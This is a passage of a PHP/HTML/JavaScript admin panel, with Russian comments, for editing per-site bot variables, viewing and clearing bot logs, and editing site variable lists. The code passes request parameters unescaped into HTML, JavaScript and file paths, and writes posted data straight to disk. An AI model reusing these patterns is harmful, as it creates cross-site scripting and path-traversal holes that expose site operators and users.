  755.     var ddv_varvalue_o = ddv_o.parentNode.parentNode.parentNode.firstChild.lastChild.firstChild;
  756.     ddv_varvalue_o.value = ddv_o.value;
  757.     ddv_o.parentNode.style.display = 'none';
  758.   };
  759.  
  760.   function ddf_SelectVar(ddv_o)
  761.   {
  762.     var ddv_tdwithoptions_o = ddv_o.parentNode.parentNode.lastChild;
  763.     ddv_tdwithoptions_o.style.display = '';
  764.   };
  765.  
  766.   function ddf_AddNewVar()
  767.   {
  768.     var ddv_vardiv_o = document.getElementById('varsdiv');
  769.     var ddv_o = document.createElement('div');
  770.     ddv_o.className='vardiv';
  771.     ddv_o.innerHTML='<div class="vardiv"><table class="vartable"><tr><td class="vartd11" align="center" valign="middle"><textarea name="name" class="var_text"></textarea></td><td class="vartd21" align="left" valign="middle"><textarea class="var_text"></textarea></td></tr></table></div>';
  772.     ddv_vardiv_o.appendChild(ddv_o);
  773.   };
  774.  
  775.   function ddf_AddNewFild(ddv_o)
  776.   {
  777.     var ddv_box_o = ddv_o.parentNode.parentNode.lastChild;
  778.     var ddv_o = document.createElement('textarea');
  779.     ddv_o.className='var_text';
  780.     ddv_box_o.appendChild(ddv_o);
  781.   };
  782.  
  783.   function ddf_SaveVars()
  784.   {
  785.     var ddv_textareas_a = document.getElementsByTagName('textarea');
  786.     var ddv_varsdata_o = {};
  787.     for(var ddv_i=0; ddv_i<ddv_textareas_a.length; ddv_i++)
  788.     {
  789.       if((ddv_textareas_a[ddv_i].name+'')==='name')
  790.       {
  791.         if(ddv_textareas_a[ddv_i].value.length>1 && ddv_textareas_a[ddv_i+1].value.length>1)
  792.         {
  793.           ddv_varsdata_o[ddv_textareas_a[ddv_i].value] = ddv_textareas_a[ddv_i+1].value;
  794.         };
  795.       };
  796.     };
  797.     document.getElementById('botvarsdata').value = ddf_ObjToStr(ddv_varsdata_o,true);
  798.     document.getElementById('form').submit();
  799.   };
  800.  
  801.   function ddf_ObjToStr(ddv_obj_o,ddv_escape_b)
  802.   {
  803.     var obj = ddv_obj_o;
  804.     var esc = ddv_escape_b;
  805.     var t = typeof(obj);
  806.     if(t != "object" || obj === null)
  807.     {
  808.       // simple data type
  809.       if(t == "string")
  810.       {
  811.         obj = '"'+ (esc ? escape(obj) : obj) +'"';
  812.       }
  813.       else
  814.       if(t == "function")
  815.       {
  816.         obj = String(obj).substr(0,100);
  817.         obj = '"'+ (esc ? escape(obj) : obj) +'"';
  818.       }
  819.       return String(obj);
  820.     }
  821.     else
  822.     {
  823.       // recurse array or object
  824.       var n, v, json = [], arr = (obj && obj.constructor == Array);
  825.       for(n in obj)
  826.       {
  827.         v = obj[n]; t = typeof(v);
  828.         v = arguments.callee(v,esc);
  829.         json.push((arr ? "" : '"' + n + '":') + String(v));
  830.       }
  831.       return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}");
  832.     }
  833.   };
  834. </script>
  835. </head>
  836. <body>
  837. <?php
  838.  
  839.  
  840.  
  841. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Изменение переменных
  842.   $ddv_sitevarsfilepath_s = ddf_GetPathToGVarsFile($ddv_sitedir_s);
  843.  
  844.   $ddv_varsfilepath_s = ddf_GetPathToLVarsFile($ddv_sitedir_s,$ddv_botid_s);
  845.  
  846.   if(isset($_POST['botvarsdata']))
  847.   {
  848.     $ddv_lock_f = fopen($GLOBALS['CP']['PATH']['LOCK'],'a+');flock($ddv_lock_f,LOCK_EX);
  849.    
  850.     $ddv_botdata_s = stripslashes($_POST['botvarsdata']);
  851.    
  852.     if(is_array(json_decode($ddv_botdata_s,true)))
  853.     {
  854.       file_put_contents($ddv_varsfilepath_s,$ddv_botdata_s);
  855.      
  856.       echo
  857. <<<HTML
  858. <div class="vardiv"><div class="title">Saved</div></div>
  859. HTML;
  860.     }
  861.     else
  862.     {
  863.       echo
  864. <<<HTML
  865. <div class="vardiv"><div class="title">Parse ERROR</div></div>
  866. HTML;
  867.     };
  868.    
  869.     flock($ddv_lock_f,LOCK_UN);
  870.   };
  871. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Изменение переменных
  872.  
  873.  
  874.  
  875. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Выводим переменные
  876.  
  877.   $ddv_varsdatafromfile_s = file_get_contents($ddv_varsfilepath_s);
  878.   $ddv_varsdatafromfile_a = json_decode($ddv_varsdatafromfile_s, true);
  879.  
  880.   $ddv_sitevarsdatafromfile_s = file_get_contents($ddv_sitevarsfilepath_s);
  881.   $ddv_sitevarsdatafromfile_a = json_decode($ddv_sitevarsdatafromfile_s, true);
  882.  
  883.   $v_localvars_a = array();
  884.  
  885.   foreach($ddv_varsdatafromfile_a as $i=>$v)
  886.   {
  887.     $v_localvars_a[$i] = array($v);
  888.    
  889.     foreach($ddv_sitevarsdatafromfile_a as $j=>$f)
  890.     {
  891.       if($j===$i)
  892.       {
  893.         $ddv_varselectlen_i = count($f);
  894.         for($t=1; $t<$ddv_varselectlen_i; $t++)
  895.         {
  896.           array_push($v_localvars_a[$i],$f[$t]);
  897.         };
  898.       };
  899.     };
  900.   };
  901.  
  902.   $v_localvars_s = json_encode($v_localvars_a);
  903.  
  904.   echo
  905. <<<HTML
  906. <h1>Site: $ddv_sitedir_s</h1><div class="title">ID: <span onclick="javascript:ddf_SelectText(this);"><script type="text/javascript">document.write(unescape('$ddv_botid_s'));</script></span></div><h1>Vars: </h1>
  907. HTML;
  908.  
  909.   echo
  910. <<<HTML
  911. <div id="varsdiv" class="varsdiv">
  912.  
  913. <script type="text/javascript">
  914. var v_content_o = $v_localvars_s;
  915. for(var i in v_content_o)
  916. {
  917.   document.write('<div class="vardiv"><table class="vartable"><tr><td class="vartd11" align="center" valign="middle"><textarea name="name" class="varname" >'+unescape(i)+'</textarea></td><td class="vartd21" align="left" valign="middle"><textarea class="var_text" >'+unescape(v_content_o[i][0])+'</textarea></td></tr><tr><td class="vartd12" align="center" valign="middle"><input type="button" class="var_button" name="Select Var" value="Select Var" onclick="javascript:ddf_SelectVar(this);"></td><td class="vartd22" align="left" valign="middle" style="display:none;">');
  918.  
  919.   for(var j=1; j<v_content_o[i].length; j++)
  920.   {
  921.     document.write('<textarea class="var_text" onclick="javascript:ddf_SetValueFromSelect(this);" >'+unescape(v_content_o[i][j])+'</textarea>');
  922.   };
  923.  
  924.   document.write('</td></tr></table></div>');
  925. };
  926. </script>
  927.  
  928. </div>
  929. HTML;
  930.  
  931.         $ddv_botid_s = urlencode($ddv_botid_s);
  932.   echo
  933. <<<HTMLCODE
  934. <div class="vardiv"><input type="button" class="vars_submit" name="Add Var" value="Add Var" onclick="javascript:ddf_AddNewVar();"></div>
  935. <div class="vardiv"><input type="button" class="vars_submit" name="Save Vars" value="Save Vars" onclick="javascript:ddf_SaveVars();"></div>
  936.  
  937. <form action="?sitedir=$ddv_sitedir_s&botvars&botid=$ddv_botid_s" method="POST" id="form">
  938. <input type="hidden" id="botvarsdata" name="botvarsdata" value="">
  939. <input type="hidden" name="sitedir" value="$ddv_sitedir_s">
  940. <input type="hidden" name="botid" value="$ddv_botid_s">
  941. </form>
  942. HTMLCODE;
  943.  
  944. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Выводим переменные
  945.  
  946. ?>
  947. </body>
  948. </html>
  949. <?php
  950. }
  951. else
  952. // botvars -------------------------------------------------------------------
  953.  
  954.  
  955.  
  956.  
  957. // botlogs -------------------------------------------------------------------
  958. if(isset($_GET['botlogs']))
  959. {
  960.  
  961.  
  962. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Получаем переменные
  963.   if(isset($_GET['sitedir']))
  964.   {
  965.     $ddv_sitedir_s = $_GET['sitedir'];
  966.   }
  967.   else{die();};
  968.  
  969.   $ddv_sitepath_s = './'.$GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_sitedir_s;
  970.  
  971.   if(strlen($ddv_sitedir_s)>0 && file_exists($ddv_sitepath_s))
  972.   {
  973.     $ddv_dbdirpath_s = $ddv_sitepath_s.'/'.$GLOBALS['CP']['PATH']['DB'].'/';
  974.   }
  975.   else{die();};
  976.  
  977.   if( !file_exists(ddf_GetPathToGVarsFile($ddv_sitedir_s)) || !file_exists(ddf_GetPathToSiteImFile($ddv_sitedir_s)) || !file_exists($GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_sitedir_s.'/'.$GLOBALS['CP']['PATH']['DB']) )
  978.   {
  979.     die();
  980.   };
  981.  
  982.   if(isset($_GET['botid']))
  983.   {
  984.     $ddv_botid_s = $_GET['botid'];
  985.   }
  986.   else{die();};
  987.  
  988.   if( !file_exists($ddv_dbdirpath_s.$ddv_botid_s.'_var.txt') || !file_exists($ddv_dbdirpath_s.$ddv_botid_s.'_log.txt') )
  989.   {
  990.     die();
  991.   };
  992. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Получаем переменные
  993.  
  994.  
  995. ?>
  996. <html>
  997. <head>
  998. <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
  999. <title></title>
  1000. <style type="text/css">
  1001.   body{margin:0px;padding:10px 10px 10px 10px;}
  1002.   h1{font:bold 16px Verdana,Arial;color:#000000;}
  1003.   .log_text{margin:5px;font:14px Verdana,Arial;color:#000000;border:solid 0px #000000;text-decoration:none;height:18px;width:500px;}
  1004.   .logdiv{margin:20px 0px 20px 0px;padding:10px;background:#a0d749;font:14px Verdana,Arial;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:solid 0px #000000;}
  1005.   .log_blue{font:14px Verdana,Arial;color:#000000;margin:0px 20px 0px 0px;padding:0px;}
  1006.   .log_white{font:14px Verdana,Arial;color:#ffffff;margin:0px;padding:0px;}
  1007.  
  1008.   .title{margin:10px 10px 10px 0px;padding:0px;font:bold 14px Verdana,Arial;color:#000000;}
  1009. </style>
  1010. <script type="text/javascript">
  1011.   function ddf_SelectText(ddv_o)
  1012.   {
  1013.     if(navigator.userAgent.indexOf('MSIE')!=-1)
  1014.     {
  1015.       var range = document.body.createTextRange();
  1016.       var tab=ddv_o;
  1017.       range.moveToElementText(tab);
  1018.       range.select();
  1019.     }
  1020.     else
  1021.     {
  1022.       var selection = window.getSelection();
  1023.       var range = document.createRange();
  1024.       var tab = ddv_o;
  1025.       range.selectNodeContents(tab);
  1026.       selection.addRange(range);
  1027.     };
  1028.   };
  1029. </script>
  1030. </head>
  1031. <body>
  1032. <?php    
  1033.  
  1034. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Удаляем логи
  1035. if(isset($_GET['cleanlog']))
  1036. {
  1037.   $ddv_botlogspath_s = ddf_GetPathToLogVarsFile($ddv_sitedir_s,$ddv_botid_s);
  1038.   $ddv_botvarspath_s = ddf_GetPathToLVarsFile($ddv_sitedir_s,$ddv_botid_s);
  1039.  
  1040.   $ddv_botlogs_s = file_get_contents($ddv_botlogspath_s);
  1041.   $ddv_botlogs_a = explode($GLOBALS['CP']['SEPARATOR']['C'],$ddv_botlogs_s);
  1042.   $ddv_botlogs_s = $ddv_botlogs_a[0];
  1043.   file_put_contents($ddv_botlogspath_s,$ddv_botlogs_s);
  1044. };
  1045. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Удаляем логи
  1046.  
  1047.  
  1048. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Выводим логи
  1049. echo
  1050. <<<HTML
  1051. <h1>Site: $ddv_sitedir_s</h1><div class="title">ID: <span onclick="javascript:ddf_SelectText(this);"><script type="text/javascript">document.write(unescape('$ddv_botid_s'));</script></span></div><h1>Logs: <input type="button" value="Clean Log" onclick="javascript:if(confirm('Clean Log?')){document.location='?sitedir=$ddv_sitedir_s&botid='+escape('$ddv_botid_s')+'&botlogs&cleanlog';}else{return false;};"></h1>
  1052. HTML;
  1053.  
  1054.  
  1055. $ddv_logsdatafromfile_s = file_get_contents(ddf_GetPathToLogVarsFile($ddv_sitedir_s,$ddv_botid_s));
  1056.  
  1057.  
  1058. echo
  1059. <<<HTML
  1060. <script type="text/javascript">
  1061.  
  1062. function f_LogsFileDataToArray(v_data_s)
  1063. {
  1064.   var v_separator_a_s = '{$GLOBALS['CP']['SEPARATOR']['A']}';
  1065.   var v_separator_b_s = '{$GLOBALS['CP']['SEPARATOR']['B']}';
  1066.   var v_separator_c_s = '{$GLOBALS['CP']['SEPARATOR']['C']}';
  1067.  
  1068.   var v_kayvalpairs_a = v_data_s.split(v_separator_c_s);
  1069.   for(var i=0; i<v_kayvalpairs_a.length; i++)
  1070.   {
  1071.     v_kayvalpairs_a[i] = v_kayvalpairs_a[i].split(v_separator_b_s);
  1072.     for(j=0; j<v_kayvalpairs_a[i].length; j++)
  1073.     {
  1074.       v_kayvalpairs_a[i][j] = v_kayvalpairs_a[i][j].split(v_separator_a_s);
  1075.     };
  1076.   };
  1077.   return v_kayvalpairs_a;
  1078. };
  1079.  
  1080. var v_content_s = '$ddv_logsdatafromfile_s';
  1081.  
  1082. var v_content_a = f_LogsFileDataToArray(v_content_s);
  1083.  
  1084. for(var i=v_content_a.length-1; i>=0; i--)
  1085. {
  1086.   document.write('<div class="logdiv">');
  1087.  
  1088.   for(j=0; j<v_content_a[i].length; j++)
  1089.   {
  1090.     document.write('<span class="log_white">'+unescape(v_content_a[i][j][0])+':</span><span class="log_text">'+unescape(v_content_a[i][j][1])+'</span><br>');
  1091.   };
  1092.  
  1093.   document.write('</div>');
  1094. };
  1095.  
  1096. </script>
  1097. HTML;
  1098.  
  1099. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Выводим логи
  1100. ?>
  1101. </body>
  1102. </html>
  1103. <?php
  1104. }
  1105. else
  1106. // botlogs -------------------------------------------------------------------
  1107.  
  1108.  
  1109.  
  1110. // sitevars -------------------------------------------------------------------
  1111. if( isset($_GET['sitevars']) && isset($_GET['sitedir']) )
  1112. {
  1113.  
  1114. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Получаем переменные
  1115.   if(isset($_GET['sitedir']))
  1116.   {
  1117.     $ddv_sitedir_s = $_GET['sitedir'];
  1118.   }
  1119.   else{die();};
  1120.  
  1121.   $ddv_sitepath_s = './'.$GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_sitedir_s;
  1122.  
  1123.   if(strlen($ddv_sitedir_s)>0 && file_exists($ddv_sitepath_s))
  1124.   {
  1125.     $ddv_dbdirpath_s = $ddv_sitepath_s.'/'.$GLOBALS['CP']['PATH']['DB'].'/';
  1126.   }
  1127.   else{die();};
  1128.  
  1129.   if( !file_exists(ddf_GetPathToGVarsFile($ddv_sitedir_s)) || !file_exists(ddf_GetPathToSiteImFile($ddv_sitedir_s)) || !file_exists($GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_sitedir_s.'/'.$GLOBALS['CP']['PATH']['DB']) )
  1130.   {
  1131.     die();
  1132.   };
  1133. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Получаем переменные
  1134.  
  1135.  
  1136. ?>
  1137. <html>
  1138. <head>
  1139. <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
  1140. <title></title>
  1141. <style type="text/css">
  1142.   body{margin:0px;padding:10px 10px 10px 10px;}
  1143.   h1{font:bold 16px Verdana,Arial;color:#000000;}
  1144.   .var_text{margin:5px;font:14px Verdana,Arial;color:#000000;text-decoration:none;height:70px;width:200px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:solid 0px #000000;}
  1145.   .varname{margin:0px 0px 10px 0px;font:14px Verdana,Arial;color:#000000;text-decoration:none;height:40px;width:200px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:solid 0px #000000;}
  1146.   .vardiv{margin:20px 0px 20px 0px;padding:10px;background:#ebe57f;font:14px Verdana,Arial;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:solid 0px #000000;}
  1147.   .vartable{margin:0px;padding:0px;width:100%;border-collapse:collapse;}
  1148.   .vartd11{margin:0px;padding:0px 10px 0px 0px;font:14px Verdana,Arial;width:90px;}
  1149.   .vartd12{margin:0px;padding:0px 0px 0px 0px;font:14px Verdana,Arial;width:90px;}
  1150.   .vartd21{margin:0px;padding:0px 10px 0px 0px;font:14px Verdana,Arial;}
  1151.   .vartd22{margin:0px;padding:0px 0px 0px 0px;font:14px Verdana,Arial;}
  1152.   .var_blue{font:14px Verdana,Arial;color:#000000;margin:0px 20px 0px 0px;padding:0px;}
  1153.   .var_white{font:14px Verdana,Arial;color:#ffffff;margin:0px;padding:0px;}
  1154.   .var_input{font:14px Verdana,Arial;color:#000000;margin:0px;padding:5px;border:solid 1px #ff8989;}
  1155.   .var_button{font:14px Verdana,Arial;color:#000000;margin:0px;padding:0px;}
  1156.   .site{font:bold 16px Verdana,Arial;color:#8bb703;text-decoration:none;margin-left:20px;}
  1157.  
  1158.   .vars_submit{font:14px Verdana,Arial;color:#000000;text-decoration:none;}
  1159.  
  1160.   .select{margin:0px;padding:0px;font:16px Verdana,Arial;color:#ffffff;text-decoration:underline;border:solid 0px #000000;}
  1161.   .select:hover{margin:0px;padding:0px;font:16px Verdana,Arial;color:#ffffff;text-decoration:none;border:solid 0px #000000;}
  1162.  
  1163.   .title{margin:10px 10px 10px 0px;padding:0px;font:bold 14px Verdana,Arial;color:#000000;}
  1164. </style>
  1165. <script type="text/javascript">
  1166.   function ddf_SelectText(ddv_o)
  1167.   {
  1168.     if(navigator.userAgent.indexOf('MSIE')!=-1)
  1169.     {
  1170.       var range = document.body.createTextRange();
  1171.       var tab=ddv_o;
  1172.       range.moveToElementText(tab);
  1173.       range.select();
  1174.     }
  1175.     else
  1176.     {
  1177.       var selection = window.getSelection();
  1178.       var range = document.createRange();
  1179.       var tab = ddv_o;
  1180.       range.selectNodeContents(tab);
  1181.       selection.addRange(range);
  1182.     };
  1183.   };
  1184.  
  1185.   function ddf_AddNewVar()
  1186.   {
  1187.     var ddv_vardiv_o = document.getElementById('varsdiv');
  1188.     var ddv_o = document.createElement('div');
  1189.     ddv_o.className='vardiv';
  1190.     ddv_o.innerHTML='<table class="vartable"><tr><td class="vartd11" align="center" valign="middle"><textarea name="name" class="varname"></textarea><br><textarea class="varname"></textarea></td><td class="vartd21" align="left" valign="middle"><textarea class="var_text"></textarea></td></tr><tr><td class="vartd12" align="center" valign="middle"><input type="button" class="var_button" name="Add Field" value="Add Field" onclick="javascript:var ddv_box_o = this.parentNode.parentNode.lastChild; var ddv_o=document.createElement(\'textarea\'); ddv_o.className=\'var_text\'; ddv_o.name=\'setvar\'; ddv_box_o.appendChild(ddv_o);"></td><td class="vartd22" align="left" valign="middle"></td></tr></table>';
  1191.     ddv_vardiv_o.appendChild(ddv_o);
  1192.   };
  1193.  
  1194.   function ddf_AddNewFild(ddv_o)
  1195.   {
  1196.     var ddv_box_o = ddv_o.parentNode.parentNode.lastChild;
  1197.     var ddv_o = document.createElement('textarea');
  1198.     ddv_o.className='var_text';
  1199.     ddv_box_o.appendChild(ddv_o);
  1200.   };
  1201.  
  1202.   function ddf_SaveVars()
  1203.   {
  1204.     var ddv_textareas_a = document.getElementsByTagName('textarea');
  1205.     var ddv_varsdata_o = {};
  1206.     var ddv_name_s = ''
  1207.     for(var ddv_i=0; ddv_i<ddv_textareas_a.length; ddv_i++)
  1208.     {
  1209.       if((ddv_textareas_a[ddv_i].name+'')==='name' )
  1210.       {
  1211.         if(ddv_textareas_a[ddv_i].value.length>1 && ddv_textareas_a[ddv_i+1].value.length>1 && ddv_textareas_a[ddv_i+2].value.length>1)
  1212.         {
  1213.           ddv_name_s = ddv_textareas_a[ddv_i].value;
  1214.           ddv_varsdata_o[ddv_name_s] = [];
  1215.         }
  1216.         else
  1217.         {
  1218.           ddv_name_s = '';
  1219.         };
  1220.       }
  1221.       else
  1222.       {
  1223.         if(ddv_name_s.length>1 && ddv_textareas_a[ddv_i].value.length>1)
  1224.         {
  1225.           ddv_varsdata_o[ddv_name_s].push(ddv_textareas_a[ddv_i].value);
  1226.         };
  1227.       };
  1228.     };
  1229.     document.getElementById('sitevarsdata').value = ddf_ObjToStr(ddv_varsdata_o,true);
  1230.     document.getElementById('form').submit();
  1231.   };
  1232.  
  1233.   function ddf_ObjToStr(ddv_obj_o,ddv_escape_b)
  1234.   {
  1235.     var obj = ddv_obj_o;
  1236.     var esc = ddv_escape_b;
  1237.     var t = typeof(obj);
  1238.     if(t != "object" || obj === null)
  1239.     {
  1240.       // simple data type
  1241.       if(t == "string")
  1242.       {
  1243.         obj = '"'+ (esc ? escape(obj) : obj) +'"';
  1244.       }
  1245.       else
  1246.       if(t == "function")
  1247.       {
  1248.         obj = String(obj).substr(0,100);
  1249.         obj = '"'+ (esc ? escape(obj) : obj) +'"';
  1250.       }
  1251.       return String(obj);
  1252.     }
  1253.     else
  1254.     {
  1255.       // recurse array or object
  1256.       var n, v, json = [], arr = (obj && obj.constructor == Array);
  1257.       for(n in obj)
  1258.       {
  1259.         v = obj[n]; t = typeof(v);
  1260.         v = arguments.callee(v,esc);
  1261.         json.push((arr ? "" : '"' + n + '":') + String(v));
  1262.       }
  1263.       return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}");
  1264.     }
  1265.   };
  1266. </script>
  1267. </head>
  1268. <body>
  1269. <?php
  1270.  
  1271.  
  1272.  
  1273. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Редактируем переменные
  1274. $ddv_sitevarsfilepath_s = ddf_GetPathToGVarsFile($ddv_sitedir_s);
  1275.  
  1276. if(isset($_POST['sitevarsdata']))
  1277. {
  1278.   $ddv_lock_f = fopen($GLOBALS['CP']['PATH']['LOCK'],'a+');flock($ddv_lock_f,LOCK_EX);
  1279.  
  1280.   $ddv_sitedata_s = stripslashes($_POST['sitevarsdata']);
  1281.  
  1282.   if(is_array(json_decode($ddv_sitedata_s,true)))
  1283.   {
  1284.     file_put_contents($ddv_sitevarsfilepath_s,$ddv_sitedata_s);
  1285.    
  1286.     echo
  1287. <<<HTML
  1288. <div class="vardiv"><div class="title">Saved</div></div>
  1289. HTML;
  1290.   }
  1291.   else
  1292.   {
  1293.     echo
  1294. <<<HTML
  1295. <div class="vardiv"><div class="title">Parse ERROR</div></div>
  1296. HTML;
  1297.   };
  1298.  
  1299.   flock($ddv_lock_f,LOCK_UN);
  1300. };
  1301. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Редактируем переменные
  1302.  
  1303.  
  1304.  
  1305. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Выводим переменные
  1306. echo
  1307. <<<HTML
  1308. <h1>Site: <span onclick="javascript:ddf_SelectText(this);">$ddv_sitedir_s</span></h1><h1>Vars:</h1>
  1309. HTML;
  1310.  
  1311. $ddv_sitevarsdatafromfile_o = file_get_contents($ddv_sitevarsfilepath_s);
  1312.  
  1313. echo
  1314. <<<HTML
  1315. <div id="varsdiv" class="varsdiv">
  1316.  
  1317. <script type="text/javascript">
  1318. var v_content_o = $ddv_sitevarsdatafromfile_o;
  1319. for(var i in v_content_o)
  1320. {
  1321.   document.write('<div class="vardiv"><table class="vartable"><tr><td class="vartd11" align="center" valign="middle"><textarea name="name" class="varname">'+unescape(i)+'</textarea><br><textarea class="varname" >'+unescape(v_content_o[i][0])+'</textarea></td><td class="vartd21" align="left" valign="middle"><textarea class="var_text" >'+unescape(v_content_o[i][1])+'</textarea></td></tr><tr><td class="vartd12" align="center" valign="middle"><input type="button" class="var_button" name="Add Field" value="Add Field" onclick="javascript:ddf_AddNewFild(this);"></td><td class="vartd22" align="left" valign="middle">');
  1322.  
  1323.   for(var j=2; j<v_content_o[i].length; j++)
  1324.   {
  1325.     document.write('<textarea class="var_text" >'+unescape(v_content_o[i][j])+'</textarea>');
  1326.   };
  1327.  
  1328.   document.write('</td></tr></table></div>');
  1329. };
  1330. </script>
  1331.  
  1332. </div>
  1333. HTML;
  1334.  
  1335. echo
  1336. <<<HTMLCODE
  1337. <div class="vardiv"><input type="button" class="vars_submit" name="Add Var" value="Add Var" onclick="javascript:ddf_AddNewVar();"></div>
  1338. <div class="vardiv"><input type="button" class="vars_submit" name="Save Vars" value="Save Vars" onclick="javascript:ddf_SaveVars();"></div>
  1339.  
  1340. <form action="?sitedir=$ddv_sitedir_s&sitevars" method="POST" id="form">
  1341. <input type="hidden" id="sitevarsdata" name="sitevarsdata" value="">
  1342. </form>
  1343. HTMLCODE;
  1344.  
  1345. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Выводим переменные
  1346. ?>
  1347. </body>
  1348. </html>
  1349. <?php
  1350. }
  1351. else
  1352. // sitevars -------------------------------------------------------------------
  1353.  
  1354.  
  1355.  
  1356.  
  1357. if(isset($_GET['siteim']) && isset($_GET['sitedir']))
  1358. {
  1359.  
  1360.  
  1361. //<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Получаем переменные
  1362.   if(isset($_GET['sitedir']))
  1363.   {
  1364.     $ddv_sitedir_s = $_GET['sitedir'];
  1365.   }
  1366.   else{die();};
  1367.  
  1368.   $ddv_sitepath_s = './'.$GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_sitedir_s;
  1369.  
  1370.   if(strlen($ddv_sitedir_s)>0 && file_exists($ddv_sitepath_s))
  1371.   {
  1372.     $ddv_dbdirpath_s = $ddv_sitepath_s.'/'.$GLOBALS['CP']['PATH']['DB'].'/';
  1373.   }
  1374.   else{die();};
  1375.  
  1376.   if( !file_exists(ddf_GetPathToGVarsFile($ddv_sitedir_s)) || !file_exists(ddf_GetPathToSiteImFile($ddv_sitedir_s)) || !file_exists($GLOBALS['CP']['PATH']['SITES'].'/'.$ddv_sitedir_s.'/'.$GLOBALS['CP']['PATH']['DB']) )
  1377.   {
  1378.     die();
  1379.   };
  1380. //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Получаем переменные
  1381.  
  1382.  
  1383. ?>
  1384. <html>
  1385. <head>
  1386. <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
  1387. <title></title>
  1388. <style type="text/css">
  1389.   body{margin:0px;padding:10px 10px 10px 10px;}
  1390.   h1{font:bold 16px Verdana,Arial;color:#000000;}
  1391.   .var_text{margin:5px;font:14px Verdana,Arial;color:#000000;text-decoration:none;height:70px;width:130px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:solid 0px #000000;}
  1392.   .varname{margin:0px;font:14px Verdana,Arial;color:#000000;text-decoration:none;height:20px;width:200px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:solid 0px #000000;}
  1393.   .vardiv{margin:20px 0px 20px 0px;padding:10px;background:#ebe57f;font:14px Verdana,Arial;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:solid 0px #000000;}
  1394.   .vartable{margin:0px;padding:0px;width:100%;border-collapse:collapse;}
  1395.   .vartd11{margin:0px;padding:0px 10px 0px 0px;font:14px Verdana,Arial;width:90px;}
  1396.   .vartd12{margin:0px;padding:0px 0px 0px 0px;font:14px Verdana,Arial;width:90px;}
  1397.   .vartd21{margin:0px;padding:0px 10px 0px 0px;font:14px Verdana,Arial;}
  1398.   .vartd22{margin:0px;padding:0px 0px 0px 0px;font:14px Verdana,Arial;}
  1399.   .vars_submit{font:14px Verdana,Arial;color:#000000;text-decoration:none;}
  1400.  
  1401.   .title{margin:10px 10px 10px 0px;padding:0px;font:bold 14px Verdana,Arial;color:#000000;}
  1402. </style>
  1403. <script type="text/javascript">
  1404.   function ddf_SelectText(ddv_o)
  1405.   {
  1406.     if(navigator.userAgent.indexOf('MSIE')!=-1)
  1407.     {
  1408.       var range = document.body.createTextRange();
  1409.       var tab=ddv_o;
  1410.       range.moveToElementText(tab);
  1411.       range.select();
  1412.     }
  1413.     else
  1414.     {
  1415.       var selection = window.getSelection();
  1416.       var range = document.createRange();
  1417.       var tab = ddv_o;
  1418.       range.selectNodeContents(tab);
  1419.       selection.addRange(range);
  1420.     };
  1421.   };
  1422.  
  1423.   function ddf_AddNewVar()
  1424.   {
  1425.     var ddv_vardiv_o = document.getElementById('varsdiv');
  1426.     var ddv_o = document.createElement('div');
  1427.     ddv_o.className='vardiv';
  1428.     ddv_o.innerHTML='<table class="vartable"><tr><td class="vartd11" align="center" valign="middle"><textarea name="name" class="varname"></textarea></td><td class="vartd21" align="left" valign="middle"></td></tr><tr><td class="vartd12" align="center" valign="middle"></td><td class="vartd22" align="left" valign="middle"></td></tr></table>';
  1429.     ddv_vardiv_o.appendChild(ddv_o);
  1430.   };
  1431.  
  1432.   function ddf_AddNewFild(ddv_o)
  1433.   {
  1434.     var ddv_box_o = ddv_o.parentNode.parentNode.lastChild;
  1435.     var ddv_o = document.createElement('textarea');
  1436.     ddv_o.className='var_text';
  1437.     ddv_box_o.appendChild(ddv_o);
  1438.   };
  1439.  
  1440.   function ddf_SaveVars()
  1441.   {
  1442.     var ddv_textareas_a = document.getElementsByTagName('textarea');
  1443.     var ddv_varsdata_a = [];
  1444.     for(var ddv_i=0; ddv_i<ddv_textareas_a.length; ddv_i++)
  1445.     {
  1446.       if((ddv_textareas_a[ddv_i].name+'')==='name' && ddv_textareas_a[ddv_i].value.length>3)
  1447.       {
  1448.         ddv_varsdata_a.push(ddv_textareas_a[ddv_i].value);
  1449.       };
  1450.     };
  1451.     document.getElementById('siteimdata').value = ddf_ObjToStr(ddv_varsdata_a);
  1452.     document.getElementById('form').submit();
  1453.   };
  1454.  
  1455.   function ddf_ObjToStr(ddv_obj_o,ddv_escape_b)
  1456.   {
  1457.     var obj = ddv_obj_o;
  1458.     var esc = ddv_escape_b;
  1459.     var t = typeof(obj);
  1460.     if(t != "object" || obj === null)
  1461.     {
  1462.       // simple data type
  1463.       if(t == "string")
  1464.       {
